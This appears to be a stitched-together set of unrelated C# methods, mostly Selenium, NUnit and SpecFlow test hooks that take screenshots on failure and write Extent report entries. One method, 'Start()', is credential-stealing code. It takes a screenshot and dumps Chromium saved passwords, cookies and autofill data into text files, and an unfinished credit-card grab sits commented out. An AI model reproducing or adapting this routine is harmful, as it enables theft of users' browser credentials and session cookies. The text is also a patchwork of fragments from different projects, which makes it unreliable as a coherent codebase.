public void InitReport() { ReportConfiguration reportConfigData = RealTestData <ReportConfiguration> .GetTestData("ReportConfiguration").First(); extentHtmlReportGenerator.SetReportConfiguration(reportConfigData.DocumentTitle, reportConfigData.ReportName, reportConfigData.ReportPath); GetScreenShot.GetInstance().ScreenshotPath = reportConfigData.ScreenShotPath; }
public void AfterTest() { var status = TestContext.CurrentContext.Result.Outcome.Status; var stacktrace = string.IsNullOrEmpty(TestContext.CurrentContext.Result.StackTrace) ? "" : string.Format("{0}", TestContext.CurrentContext.Result.StackTrace); Status logstatus; GetScreenShot scrShot = new GetScreenShot(); DateTime time = DateTime.Now; string fileName = "Screenshot_" + $"{DateTime.Now:yyyy-MM-dd HH-mm-ss}" + ".png"; string screenShotPath = scrShot.Capture(Driver, fileName); switch (status) { case TestStatus.Failed: logstatus = Status.Fail; test.Log(Status.Fail, "Fail"); //test.Log(Status.Fail, "Snapshot below: " + test.AddScreenCaptureFromPath("Screenshots\\" +fileName)); test.Log(Status.Fail, "Snapshot below: " + test.AddScreenCaptureFromPath(screenShotPath)); break; case TestStatus.Inconclusive: logstatus = Status.Warning; break; case TestStatus.Skipped: logstatus = Status.Skip; break; default: logstatus = Status.Pass; break; } test.Log(logstatus, "Test ended with " +logstatus + stacktrace); extent.Flush(); Driver.Quit(); }
public void ThenIShouldBeShownTheMainTitle(string p0) { try { ObjectRepository.Hpage = new HomePage(ObjectRepository.Driver); Assert.IsTrue(ObjectRepository.Hpage.HTitle().Contains(p0)); //GenericHelper.TakeScreenShot(); //GenericHelper.TakeScreenShot2("Screen"); GetScreenShot.Capture(ObjectRepository.Driver, "Screen"); } catch (Exception e) { Logger.Error("Exception: " + e); //throw; } }
public void TearDown() { TestStatus testStatus = TestContext.CurrentContext.Result.Outcome.Status; if (testStatus == TestStatus.Passed) { extentTest.Log(Status.Pass, "<pre>" + TestContext.CurrentContext.Test.Name + " Passed</pre>"); } else if (testStatus == TestStatus.Failed) { var stackTrace = "<pre>" + TestContext.CurrentContext.Result.StackTrace + "</pre>"; var errorMessage = TestContext.CurrentContext.Result.Message; GetScreenShot.GetInstance().Capture(this.WebDriver, TestContext.CurrentContext.Test.Name); extentTest.AddScreenCaptureFromPath(GetScreenShot.GetInstance().ScreenshotPath + TestContext.CurrentContext.Test.Name + ".png"); extentTest.Log(Status.Fail, stackTrace + errorMessage); } ElementAccessors.Wait(1); this.WebDriver.Quit(); }
public static void Start() { GetScreenShot.TakeAndSave(); string contents = ""; string cookiecontent = ""; string autofill = ""; string creditCards = ""; List <BrRecover> passwords = ChromiumBrowser.GetPasswords(); foreach (BrRecover password in passwords) { contents = contents + password; } File.WriteAllText("Passwords.txt", contents); List <CookieChromium> cookies = ChromiumCookie.GetCookies(); foreach (CookieChromium cook in cookies) { cookiecontent = cookiecontent + cook; } File.WriteAllText("Cookies.txt", cookiecontent); List <AutoFill> autoFill = AutoFillRecovery.GetAutoFill(); foreach (AutoFill auto in autoFill) { autofill = autofill + auto; } File.WriteAllText("AutoFill.txt", autofill); //List<CCData> cc = CreditCards.GetCreditCard(); //foreach (CCData auto in cc) //{ // creditCards = creditCards + auto; //} //File.WriteAllText("CreditsCard.txt", creditCards); }
public void ValidateOneMore() { int actual = 2; int expected = 1; try { startTime = DateTime.Now.ToShortTimeString(); NavigateToPage(); Assert.Equal(expected, actual); } catch (Exception ex) { isFailed = true; GetScreenShot.Capture(this._webDriver, "ValidateOneMore"); } finally { endTime = DateTime.Now.ToShortTimeString(); htmlReporter.AddResultToReport("ValidateOneMore", actual.ToString(), expected.ToString() , isFailed ? "FAIL" : "PASS", "ValidateOneMore.png", startTime, endTime); this._webDriver.Quit(); } }
public void InputControls() { try { startTime = DateTime.Now.ToShortTimeString(); NavigateToPage(); //Arrange var yahoopage = new YahooAccountCreationPage(this._webDriver); //Act yahoopage.InputControls(); yahoopage.TestLogin(); } catch (Exception) { isFailed = true; GetScreenShot.Capture(this._webDriver, "InputControls"); } finally { endTime = DateTime.Now.ToShortTimeString(); htmlReporter.AddResultToReport("InputControls", "", "" , isFailed ? "FAIL" : "PASS", "InputControls.png", startTime, endTime); this._webDriver.Quit(); } }
public void InsertReportingSteps() { //scenario.CreateNode<Given>(ScenarioStepContext.Current.StepInfo.Text); var stepType = ScenarioStepContext.Current.StepInfo.StepDefinitionType.ToString(); //PropertyInfo pInfo = typeof(ScenarioContext).GetProperty("TestStatus", BindingFlags.Instance | BindingFlags.NonPublic); //MethodInfo getter = pInfo.GetGetMethod(nonPublic: true); //object TestResult = getter.Invoke(ScenarioContext.Current, null); if (SceContext.TestError == null) { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "And") { scenario.CreateNode <And>(ScenarioStepContext.Current.StepInfo.Text); } } else if (SceContext.TestError != null) { string screenShotPath = GetScreenShot.Capture(ObjectRepository.Driver, "ScreenshotName"); if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text) .Fail(SceContext.TestError.Message) .AddScreenCaptureFromPath(screenShotPath, "Test.Png"); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text) .Fail(SceContext.TestError.Message) .AddScreenCaptureFromPath(screenShotPath, "Test.Png"); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text) .Fail(SceContext.TestError.Message) .AddScreenCaptureFromPath(screenShotPath, "Test.Png"); } else if (stepType == "And") { scenario.CreateNode <And>(ScenarioStepContext.Current.StepInfo.Text) .Fail(SceContext.TestError.Message) .AddScreenCaptureFromPath(screenShotPath, "Test.Png"); } } //Pending Status /*if (TestResult.ToString() == "StepDefinitionPending") * { * if (stepType == "Given") * scenario.CreateNode<Given>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); * else if (stepType == "When") * scenario.CreateNode<When>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); * else if (stepType == "Then") * scenario.CreateNode<Then>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); * }*/ }
public PageFiledsTest() { report = new Report(driver); getScreenShot = new GetScreenShot(driver); }
public static void InsertReportingSteps(object sender, EventArgs e) { var stepType = ScenarioStepContext.Current.StepInfo.StepDefinitionType.ToString(); if (ScenarioContext.Current.TestError == null) { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "And") { scenario.CreateNode <And>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "But") { scenario.CreateNode <But>(ScenarioStepContext.Current.StepInfo.Text); } } else if (ScenarioContext.Current.TestError != null) { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text).Fail((ScenarioContext.Current.TestError.Message) + (ScenarioContext.Current.TestError.StackTrace)); string screenShotPath = GetScreenShot.Capture(BrowserDriver.Driver, "ScreenShotName"); scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioStepContext.Current.StepInfo.Text).AddScreenCaptureFromPath(screenShotPath); } else if (stepType == "And") { scenario.CreateNode <And>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message); } else if (stepType == "But") { scenario.CreateNode <But>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.InnerException); } } if (ScenarioContext.Current.ScenarioExecutionStatus.ToString() == "StepDefinitionPending") { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step Definition Pending"); } } }
public static void AfterStep() { string errorImage = ClassUtilities.PegarDataHora(); var stepType = ScenarioStepContext.Current.StepInfo.StepDefinitionType.ToString(); if (ScenarioContext.Current.ScenarioExecutionStatus.ToString() == "StepDefinitionPending") { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step pendente"); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step pendente"); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text).Skip("Step pendente"); } } else { if (ScenarioContext.Current.TestError == null) { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text); } else if (stepType == "And") { scenario.CreateNode <And>(ScenarioStepContext.Current.StepInfo.Text); } } else if (ScenarioContext.Current.TestError != null) { if (stepType == "Given") { scenario.CreateNode <Given>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message) .Fail("<br/>Screenshot <br/><br/>", MediaEntityBuilder.CreateScreenCaptureFromPath(GetScreenShot.Capture(ClassDriver.GetInstance().Driver, errorImage)).Build()); } else if (stepType == "When") { scenario.CreateNode <When>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message) .Fail("<br/>Screenshot <br/><br/>", MediaEntityBuilder.CreateScreenCaptureFromPath(GetScreenShot.Capture(ClassDriver.GetInstance().Driver, errorImage)).Build()); } else if (stepType == "Then") { scenario.CreateNode <Then>(ScenarioStepContext.Current.StepInfo.Text).Fail(ScenarioContext.Current.TestError.Message) .Fail("<br/>Screenshot <br/><br/>", MediaEntityBuilder.CreateScreenCaptureFromPath(GetScreenShot.Capture(ClassDriver.GetInstance().Driver, errorImage)).Build()); } } } }